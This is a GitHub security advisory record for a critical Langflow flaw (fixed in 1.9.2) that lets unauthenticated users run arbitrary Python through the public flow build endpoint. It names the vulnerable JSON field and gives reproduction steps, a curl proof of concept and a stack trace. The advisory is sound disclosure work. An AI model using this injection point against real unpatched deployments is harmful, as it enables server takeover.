{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 1.9.1"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.9.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-48519"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-16T17:35:32Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\nThe \"Shareable Playground\" (or \"Public Flows\" in code) contains a critical RCE vulnerability.\nSimply sharing a flow exposes the deployment to RCE risk by authenticated users.\n\nTested on commit 2d67402b1dbaefcbce85a244d4a6cd5e4bda1cfe\n\n### Details\nShareable Playground feature works by enabling the execution of workflows by unauthenticated users, by accessing a link.\nSpecifically, it enables the route `/api/v1/build_public_tmp` to execute any public flow, given a public flow ID.\nWhen the route executes the flow, it allows for providing arbitrary custom Python code as the nodes code, inside the JSON payload!\n\nThe vulnerable field is data.nodes[X].data.node.template.code.value. See PoC for an example.\n\n### PoC\nReproduction:\n1. Create a new flow and add a Chat Input node to it\n2. Share the flow (\"Shareable Playground\")\n3. Access the public link with the browser developers tools open and execute the flow.\n4. Find the `/api/v1/build_public_tmp` route and copy as cURL\n5. Edit the `data.nodes[X].data.node.template.code.value` JSON field with any python code and run the cURL command.\n\nExample PoC (replace flow ID with the correct one), and download [test_with_python.json](https://github.com/user-attachments/files/25159927/test_with_python.json):\n```bash\ncurl \u0027http://localhost:7860/api/v1/build_public_tmp/\u003cflow-id\u003e/flow?start_component_id=ChatInput-syEJp\u0026log_builds=false\u0026event_delivery=streaming\u0027 \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -b \u0027client_id=anything\u0027 \\\n  --data-raw \"$(cat test_with_python.json)\"\n```\nSearch for `touch /tmp/pwned` in the `test_with_python.json` and edit for any other code.\n\n\n\nThe stacktrace for the code executed is:\n```\n...\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 495, in generate_flow_events\n    ids, vertices_to_run, graph = await build_graph_and_get_order()\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 234, in build_graph_and_get_order\n    graph = await create_graph(fresh_session, flow_id_str, flow_name)\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/build.py\", line 298, in create_graph\n    return await build_graph_from_data(\n  File \"/Users/ori/Work/research/langchain/langflow/src/backend/base/langflow/api/utils/core.py\", line 192, in build_graph_from_data\n    graph = Graph.from_payload(payload, str_flow_id, flow_name, kwargs.get(\"user_id\"))\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1153, in from_payload\n    graph.add_nodes_and_edges(vertices, edges)\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 270, in add_nodes_and_edges\n    self.initialize()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 512, in initialize\n    self._build_graph()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1305, in _build_graph\n    self._instantiate_components_in_vertices()\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/graph/base.py\", line 1347, in _instantiate_components_in_vertices\n    vertex.instantiate_component(self.user_id)\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/graph/vertex/base.py\", line 382, in instantiate_component\n    self.custom_component, _ = initialize.loading.instantiate_class(\n  File \"/Users/ori/Work/research/langchain/langflow/src/lfx/src/lfx/interface/initialize/loading.py\", line 45, in instantiate_class\n    custom_component: CustomComponent | Component = class_object(\n  File \"\u003cstring\u003e\", line 59, in __init__\n```\n\n### Impact\nUnauthenticated RCE on any deployment with a shareable playground.\n\n\n\nOri Lahav\nSecurity Researcher @ Rubrik Inc.",
  "id": "GHSA-v5ff-9q35-q26f",
  "modified": "2026-06-16T17:35:32Z",
  "published": "2026-06-16T17:35:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-v5ff-9q35-q26f"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow: Unauthenticated RCE in Shareable Playgrounds"
}